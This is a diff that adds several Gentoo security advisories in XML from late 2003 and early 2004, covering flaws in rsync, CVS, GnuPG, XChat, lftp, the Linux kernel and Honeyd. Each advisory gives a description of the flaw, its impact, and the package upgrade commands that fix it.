+++ b/xml/htdocs/security/en/glsa/glsa-200312-01.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200312-01">
+  <title>rsync.gentoo.org: rotation server compromised</title>
+  <synopsis>
+    A server in the rsync.gentoo.org rotation was compromised.
+  </synopsis>
+  <product type="infrastructure">rsync mirror</product>
+  <announced>2003-12-02</announced>
+  <revised>2003-12-02: 01</revised>
+  <affected>
+    <service type="rsync" fixed="yes"/>
+  </affected>
+  <background>
+    <p>
+    The rsync.gentoo.org rotation of servers provides an up to date Portage
+    tree using the rsync file transfer protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    On December 2nd at approximately 03:45 UTC, one of the servers that makes up
+    the rsync.gentoo.org rotation was compromised via a remote exploit.  At this
+    point, we are still performing forensic analysis.  However, the compromised
+    system had both an IDS and a file integrity checker installed and we have a
+    very detailed forensic trail of what happened once the box was breached, so
+    we are reasonably confident that the portage tree stored on that box was
+    unaffected.
+    </p>
+    <p>
+    The attacker appears to have installed a rootkit and modified/deleted some
+    files to cover their tracks, but left the server otherwise untouched.  The
+    box was in a compromised state for approximately one hour before it was
+    discovered and shut down.  During this time, approximately 20 users
+    synchronized against the portage mirror stored on this box.  The method used
+    to gain access to the box remotely is still under investigation.  We will
+    release more details once we have ascertained the cause of the remote
+    exploit.
+    </p>
+    <p>
+    This box is not an official Gentoo infrastructure box and is instead donated
+    by a sponsor.  The box provides other services as well and the sponsor has
+    requested that we not publicly identify the box at this time.  Because the
+    Gentoo part of this box appears to be unaffected by this exploit, we are
+    currently honoring the sponsor's request.  That said, if at any point, we
+    determine that any file in the portage tree was modified in any way, we will
+    release full details about the compromised server.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    There is no known impact at this time.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Again, based on the forensic analysis done so far, we are reasonably
+    confident that no files within the Portage tree on the box were affected.
+    However, the server has been removed from all rsync.*.gentoo.org rotations
+    and will remain so until the forensic analysis has been completed and the
+    box has been wiped and rebuilt.  Thus, users preferring an extra level of
+    security may ensure that they have a correct and accurate portage tree by
+    running:
+    </p>
+    <code>
+    # emerge sync</code>
+    <p>
+    Which will perform a sync against another server and ensure that all files
+    are up to date.
+    </p>
+  </resolution>
+  <references/>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-03.xml b/xml/htdocs/security/en/glsa/glsa-200312-03.xml
new file mode 100644
index 00000000..8f1d6714
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200312-03.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200312-03">
+  <title>rsync: exploitable heap overflow</title>
+  <synopsis>
+    rsync contains a heap overflow vulnerability that can be used to execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">rsync</product>
+  <announced>2003-12-04</announced>
+  <revised>2003-12-04: 01</revised>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rsync" auto="yes" arch="*">
+      <unaffected range="ge">2.5.7</unaffected>
+      <vulnerable range="lt">2.5.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsync is a popular file transfer package used to synchronize the Portage
+    tree.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rsync version 2.5.6 contains a vulnerability that can be used to run
+    arbitrary code.  The Gentoo infrastructure team has some reasonably good
+    forensic evidence that this exploit may have been used in combination with
+    the Linux kernel do_brk() vulnerability (see GLSA 200312-02) to exploit a
+    rsync.gentoo.org rotation server (see GLSA-200312-01.)
+    </p>
+    <p>
+    Please see http://lwn.net/Articles/61541/ for the security advisory released
+    by the rsync development team.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could execute arbitrary code with the permissions of the
+    root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    To address this vulnerability, all Gentoo users should read GLSA-200312-02
+    and ensure that all systems are upgraded to a version of the Linux kernel
+    without the do_brk() vulnerability, and upgrade to version 2.5.7 of rsync:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=net-misc/rsync-2.5.7'
+    # emerge '&gt;=net-misc/rsync-2.5.7'
+    # emerge clean</code>
+    <p>
+    Review your /etc/rsync/rsyncd.conf configuration file; ensure that the use
+    chroot="no" command is commented out or removed, or change use chroot="no"
+    to use chroot="yes".  Then, if necessary, restart rsyncd:
+    </p>
+    <code>
+    # /etc/init.d/rsyncd restart</code>
+  </resolution>
+  <references>
+    <uri link="http://rsync.samba.org/#security_dec03">Rsync Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0962">CAN-2003-0962</uri>
+    <uri link="http://security.gentoo.org/glsa/glsa-200312-02.xml">GLSA-200312-02</uri>
+    <uri link="http://security.gentoo.org/glsa/glsa-200312-01.xml">GLSA-200312-01</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-04.xml b/xml/htdocs/security/en/glsa/glsa-200312-04.xml
new file mode 100644
index 00000000..29953115
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200312-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200312-04">
+  <title>CVS: malformed module request vulnerability</title>
+  <synopsis>
+    A bug in cvs could allow attempts to create files and directories outside a
+    repository.
+  </synopsis>
+  <product type="ebuild">CVS</product>
+  <announced>2003-12-08</announced>
+  <revised>2003-12-08: 01</revised>
+  <bug>35371</bug>
+  <access>unknown</access>
+  <affected>
+    <package name="dev-util/cvs" auto="yes" arch="*">
+      <unaffected range="ge">1.11.10</unaffected>
+      <vulnerable range="le">1.11.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CVS, which stands for Concurrent Versions System, is a client/server
+    application which tracks changes to sets of files.  It allows multiple users
+    to work concurrently on files, and then merge their changes back into the
+    main tree (which can be on a remote system).  It also allows branching, or
+    maintaining separate versions for files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Quote from ccvs.cvshome.org/servlets/NewsItemView?newsID=84:
+    "Stable CVS 1.11.10 has been released. Stable releases contain only bug
+    fixes from previous versions of CVS. This release fixes a security issue
+    with no known exploits that could cause previous versions of CVS to attempt
+    to create files and directories in the filesystem root. This release also
+    fixes several issues relevant to case insensitive filesystems and some other
+    bugs. We recommend this upgrade for all CVS clients and servers!"
+    </p>
+  </description>
+  <impact type="minimal">
+    <p>
+    Attempts to create files and directories outside the repository may be
+    possible.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gentoo Linux machines with cvs installed should be updated to use
+    dev-util/cvs-1.11.10 or higher:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=dev-util/cvs-1.11.10'
+    # emerge '&gt;=dev-util/cvs-1.11.10'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0977">CAN-2003-0977</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-05.xml b/xml/htdocs/security/en/glsa/glsa-200312-05.xml
new file mode 100644
index 00000000..bb254c01
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200312-05.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200312-05">
+  <title>GnuPG: ElGamal signing keys compromised and format string vulnerability</title>
+  <synopsis>
+    A bug in GnuPG allows ElGamal signing keys to be compromised, and a format
+    string bug in the gpgkeys_hkp utility may allow arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">GnuPG</product>
+  <announced>2003-12-12</announced>
+  <revised>2003-12-12: 01</revised>
+  <bug>34504</bug>
+  <access>unknown</access>
+  <affected>
+    <package name="app-crypt/gnupg" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3-r5</unaffected>
+      <vulnerable range="le">1.2.3-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuPG is a popular open source signing and encryption tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two flaws have been found in GnuPG 1.2.3.
+    </p>
+    <p>
+    First, ElGamal signing keys can be compromised.  These keys are not commonly
+    used, but this is "a significant security failure which can lead to a
+    compromise of almost all ElGamal keys used for signing.  Note that this is a
+    real world vulnerability which will reveal your private key within a few
+    seconds".
+    </p>
+    <p>
+    Second, there is a format string flaw in the 'gpgkeys_hkp' utility which
+    "would allow a malicious keyserver in the worst case to execute an arbitrary
+    code on the user's machine."
+    </p>
+  </description>
+  <impact type="minimal">
+    <p>
+    If you have used ElGamal keys for signing your private key can be
+    compromised, and a malicious keyserver could remotely execute arbitrary code
+    with the permissions of the user running gpgkeys_hkp.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users who have created ElGamal signing keys should immediately revoke
+    them.  In addition, all Gentoo Linux machines with gnupg installed should be
+    updated to use gnupg-1.2.3-r5 or higher:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=app-crypt/gnupg-1.2.3-r5'
+    # emerge '&gt;=app-crypt/gnupg-1.2.3-r5'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0971">CAN-2003-0971</uri>
+    <uri link="http://marc.theaimsgroup.com/?l=gnupg-announce&amp;m=106992378510843&amp;q=raw">GnuPG Announcement</uri>
+    <uri link="http://www.s-quadra.com/advisories/Adv-20031203.txt">S-Quadra Advisory</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-06.xml b/xml/htdocs/security/en/glsa/glsa-200312-06.xml
new file mode 100644
index 00000000..1d0ba5e2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200312-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200312-06">
+  <title>XChat: malformed dcc send request denial of service</title>
+  <synopsis>
+    A bug in XChat could allow malformed dcc send requests to cause a denial of
+    service.
+  </synopsis>
+  <product type="ebuild">xchat</product>
+  <announced>2003-12-14</announced>
+  <revised>2003-12-14: 01</revised>
+  <bug>35623</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/xchat" auto="yes" arch="*">
+      <unaffected range="ge">2.0.6-r1</unaffected>
+      <vulnerable range="eq">2.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XChat is a multiplatform IRC client.
+    </p>
+  </background>
+  <description>
+    <p>
+    There is a remotely exploitable bug in XChat 2.0.6 that could lead to a
+    denial of service attack.  Gentoo wishes to thank lloydbates for discovering
+    this bug, as well as jcdutton and rac for submitting patches to fix the bug.
+    </p>
+  </description>
+  <impact type="medium">
+    <p>
+    A malformed DCC packet sent by a remote attacker can cause XChat to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    For Gentoo users, xchat-2.0.6 was marked ~arch (unstable) for most
+    architectures.  Since it was never marked as stable in the portage tree,
+    only xchat users who have explictly added the unstable keyword to
+    ACCEPT_KEYWORDS are affected.  Users may updated affected machines to the
+    patched version of xchat using the following commands:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=net-irc/xchat-2.0.6-r1'
+    # emerge '&gt;=net-irc/xchat-2.0.6-r1'
+    # emerge clean</code>
+    <p>
+    This assumes that users are running with ACCEPT_KEYWORDS enabled for their
+    architecture.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://mail.nl.linux.org/xchat-announce/2003-12/msg00000.html">XChat Announcement</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-07.xml b/xml/htdocs/security/en/glsa/glsa-200312-07.xml
new file mode 100644
index 00000000..1f6b5efc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200312-07.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200312-07">
+  <title>Two buffer overflows in lftp</title>
+  <synopsis>
+    Two buffer overflow problems are found in lftp that, in case the user visits
+    a malicious ftp server, could lead to malicious code being executed.
+  </synopsis>
+  <product type="ebuild">lftp</product>
+  <announced>December 13, 2003</announced>
+  <revised>200312-07: 2</revised>
+  <bug>35866</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/lftp" auto="yes" arch="*">
+      <vulnerable range="lt">2.6.10</vulnerable>
+      <unaffected range="ge">2.6.10</unaffected>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lftp is a multithreaded command-line based FTP client. It allows you to
+    execute multiple commands simultaneously or in the background. If features
+    mirroring capabilities, resuming downloads, etc.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two buffer overflows exist in lftp. Both can occur when the user connects to
+    a malicious web server using the HTTP or HTTPS protocol and issues lftp's
+    "ls" or "rels" commands.
+    </p>
+    <p>
+    Ulf Harnhammar explains:
+    </p>
+    <p>
+    Technically, the problem lies in the file src/HttpDir.cc and the
+    functions try_netscape_proxy() and try_squid_eplf(), which both
+    have sscanf() calls that take data of an arbitrary length and
+    store it in a char array with 32 elements. (Back in version 2.3.0,
+    the problematic code was located in some other function, but the
+    problem existed back then too.) Depending on the HTML document in the 
+    specially prepared directory, buffers will be overflown in either one 
+    function or the other.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    When a user issues "ls" or "rels" on a malicious server, the tftp
+    application can be tricked into running arbitrary code on the user his
+    machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no workaround available.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gentoo users who have net-ftp/lftp installed should update to use
+    version 2.6.0 or higher using these commands:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '>=net-ftp/lftp-2.6.10'
+    # emerge '>=net-ftp/lftp-2.6.10'
+    # emerge clean</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/archive/1/347587/2003-12-13/2003-12-19/0">Initial report by Ulf Harnhammar</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200312-08.xml b/xml/htdocs/security/en/glsa/glsa-200312-08.xml
new file mode 100644
index 00000000..57872052
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200312-08.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<glsa id="200312-08">
+  <title>CVS: possible root compromise when using CVS pserver</title>
+  <synopsis>
+    A possible root compromise exists for CVS pservers.
+  </synopsis>
+  <product type="ebuild">cvs</product>
+  <announced>2003-12-28</announced>
+  <revised>2003-12-28: 01</revised>
+  <bug>36142</bug>
+  <access>unknown</access>
+  <affected>
+    <package name="dev-util/cvs" auto="yes" arch="*">
+      <unaffected range="ge">1.11.11</unaffected>
+      <vulnerable range="le">1.11.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CVS, which stands for Concurrent Versions System, is a client/server
+    application which tracks changes to sets of files.  It allows multiple users
+    to work concurrently on files, and then merge their changes back into the
+    main tree (which can be on a remote system).  It also allows branching, or
+    maintaining separate versions for files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Quote from ccvs.cvshome.org/servlets/NewsItemView?newsID=88:
+    "Stable CVS 1.11.11 has been released. Stable releases contain only bug
+    fixes from previous versions of CVS. This release adds code to the CVS
+    server to prevent it from continuing as root after a user login, as an extra
+    failsafe against a compromise of the CVSROOT/passwd file. Previously, any
+    user with the ability to write the CVSROOT/passwd file could execute
+    arbitrary code as the root user on systems with CVS pserver access enabled.
+    We recommend this upgrade for all CVS servers!"
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote user could execute arbitrary code with the permissions of the root
+    user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gentoo Linux machines with cvs installed should be updated to use
+    cvs-1.11.11 or higher.
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv '&gt;=dev-util/cvs-1.11.11'
+    # emerge '&gt;=dev-util/cvs-1.11.11'
+    # emerge clean</code>
+  </resolution>
+  <references/>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200401-01.xml b/xml/htdocs/security/en/glsa/glsa-200401-01.xml
new file mode 100644
index 00000000..0716288f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200401-01.xml
@@ -0,0 +1,230 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200401-01">
+  <title>Linux kernel do_mremap() local privilege escalation vulnerability</title>
+  <synopsis>
+    A critical security vulnerability has been found in recent Linux kernels
+    which allows for local privelege escalation.
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>January 08, 2004</announced>
+  <revised>January 08, 2004: 01</revised>
+  <bug>37292</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-kernel/aa-sources" auto="no" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/alpha-sources" auto="no" arch="*">
+      <unaffected range="ge">2.4.21-r2</unaffected>
+      <vulnerable range="lt">2.4.21-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/arm-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.19-r2</unaffected>
+      <vulnerable range="lt">2.4.19-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/ck-sources" auto="no" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/compaq-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.9.32.7-r1</unaffected>
+      <vulnerable range="lt">2.4.9.32.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1_rc3</unaffected>
+      <vulnerable range="lt">2.6.1_rc3</vulnerable>
+    </package>
+    <package name="sys-kernel/gaming-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.20-r7</unaffected>
+      <vulnerable range="lt">2.4.20-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1_rc3</unaffected>
+      <vulnerable range="lt">2.6.1_rc3</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-sources" auto="yes" arch="*">
+      <unaffected range="gt">2.4.22-r3</unaffected>
+      <vulnerable range="lt">2.4.22-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/grsec-sources" auto="yes" arch="*">
+      <unaffected range="gt">2.4.23.2.0_rc4-r1</unaffected>
+      <vulnerable range="lt">2.4.23.2.0_rc4-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/gs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23_pre8-r2</unaffected>
+      <vulnerable range="lt">2.4.23_pre8-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r2</unaffected>
+      <vulnerable range="lt">2.4.22-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23_p4-r2</unaffected>
+      <vulnerable range="lt">2.4.23_p4-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/ia64-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r2</unaffected>
+      <vulnerable range="lt">2.4.22-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-prepatch-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24_pre2-r1</unaffected>
+      <vulnerable range="lt">2.4.24_pre2-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r2</unaffected>
+      <vulnerable range="lt">2.4.23-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/mm-sources" auto="no" arch="*">
+      <unaffected range="ge">2.6.1_rc1-r2</unaffected>
+      <vulnerable range="lt">2.6.1_rc1-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/openmosix-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r3</unaffected>
+      <vulnerable range="lt">2.4.22-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/pac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/pfeifer-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21.1_pre4-r1</unaffected>
+      <vulnerable range="lt">2.4.21.1_pre4-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/planet-ccrma-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r4</unaffected>
+      <vulnerable range="lt">2.4.21-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-development-sources" auto="no" arch="*">
+      <unaffected range="ge">2.6.1_rc1-r1</unaffected>
+      <vulnerable range="lt">2.6.1_rc1-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources-benh" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r4</unaffected>
+      <vulnerable range="lt">2.4.22-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources-crypto" auto="yes" arch="*">
+      <unaffected range="ge">2.4.20-r2</unaffected>
+      <vulnerable range="lt">2.4.20-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/selinux-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24</unaffected>
+      <vulnerable range="lt">2.4.24</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1_rc2</unaffected>
+      <vulnerable range="lt">2.6.1_rc2</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24</unaffected>
+      <vulnerable range="lt">2.4.24</vulnerable>
+    </package>
+    <package name="sys-kernel/usermode-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-prepatch-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_pre4</unaffected>
+      <vulnerable range="lt">2.4.25_pre4</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24</unaffected>
+      <vulnerable range="lt">2.4.24</vulnerable>
+    </package>
+    <package name="sys-kernel/win4lin-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.0-r1</unaffected>
+      <vulnerable range="lt">2.6.0-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/wolk-sources" auto="yes" arch="*">
+      <unaffected range="ge">4.10_pre7-r2</unaffected>
+      <vulnerable range="lt">4.10_pre7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/xfs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r1</unaffected>
+      <vulnerable range="lt">2.4.23-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux kernel is responsible for memory management in a working
+    system - to allow this, processes are allowed to allocate and unallocate
+    memory.
+    </p>
+  </background>
+  <description>
+    <p>
+    The memory subsystem allows for shrinking, growing, and moving of
+    chunks of memory along any of the allocated memory areas which the kernel
+    posesses. 
+    </p>
+    <p>
+    A typical virtual memory area covers at least one memory page. An incorrect
+    bound check discovered inside the do_mremap() kernel code performing
+    remapping of a virtual memory area may lead to creation of a virtual memory
+    area of 0 bytes length.
+    </p>
+    <p>
+    The problem is based on the general mremap flaw that remapping 2 pages from
+    inside a VMA creates a memory hole of only one page in length but an
+    additional VMA of two pages. In the case of a zero sized remapping request
+    no VMA hole is created but an additional VMA descriptor of 0
+    bytes in length is created.
+    </p>
+    <p>
+    This advisory also addresses an information leak in the Linux RTC system.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Arbitrary code may be able to exploit this vulnerability and may
+    disrupt the operation of other
+    parts of the kernel memory management subroutines finally leading to
+    unexpected behavior.
+    </p>
+    <p>
+    Since no special privileges are required to use the mremap(2) system call
+    any process may misuse its unexpected behavior to disrupt the kernel memory
+    management subsystem. Proper exploitation of this vulnerability may lead to
+    local privilege escalation including execution of arbitrary code
+    with kernel level access.
+    </p>
+    <p>
+    Proof-of-concept exploit code has been created and successfully tested,
+    permitting root escalation on vulnerable systems. As a result, all users
+    should upgrade their kernels to new or patched versions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no temporary workaround - a kernel upgrade is required. A list
+    of unaffected kernels is provided along with this announcement.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for
+    their system:
+    </p>
+    <code>
+    $> emerge sync
+    $> emerge -pv your-favourite-sources
+    $> emerge your-favourite-sources
+    $> # Follow usual procedure for compiling and installing a kernel.
+    $> # If you use genkernel, run genkernel as you would do normally.
+
+    $> # IF YOUR KERNEL IS MARKED as "remerge required!" THEN
+    $> # YOU SHOULD UPDATE YOUR KERNEL EVEN IF PORTAGE
+    $> # REPORTS THAT THE SAME VERSION IS INSTALLED.</code>
+  </resolution>
+  <references>
+    <uri link="http://isec.pl/vulnerabilities/isec-0012-mremap.txt">Vulnerability</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200401-02.xml b/xml/htdocs/security/en/glsa/glsa-200401-02.xml
new file mode 100644
index 00000000..5cd9b2be
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200401-02.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200401-02">
+  <title>Honeyd remote detection vulnerability via a probe packet</title>
+  <synopsis>
+    Identification of Honeyd installations allows an adversary to launch
+    attacks specifically against Honeyd.  No remote root exploit is currently
+    known.
+  </synopsis>
+  <product type="ebuild">honeyd</product>
+  <announced>January 21, 2004</announced>
+  <revised>January 21, 2004: 01</revised>
+  <bug>38934</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/honeyd" auto="yes" arch="*">
+      <unaffected range="ge">0.8</unaffected>
+      <vulnerable range="lt">0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Honeyd is a virtual honeypot daemon that can simulate virtual hosts on
+    unallocated IP addresses.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in handling NMAP fingerprints caused Honeyd to reply to TCP
+    packets with both the SYN and RST flags set.  Watching for replies, it is
+    possible to detect IP addresses simulated by Honeyd.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Although there are no public exploits known for Honeyd, the detection
+    of Honeyd IP addresses may in some cases be undesirable.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Honeyd 0.8 has been released along with an advisory to address this 
+    issue. In addition, Honeyd 0.8 drops privileges if permitted by the 
+    configuration file and contains command line flags to force dropping 
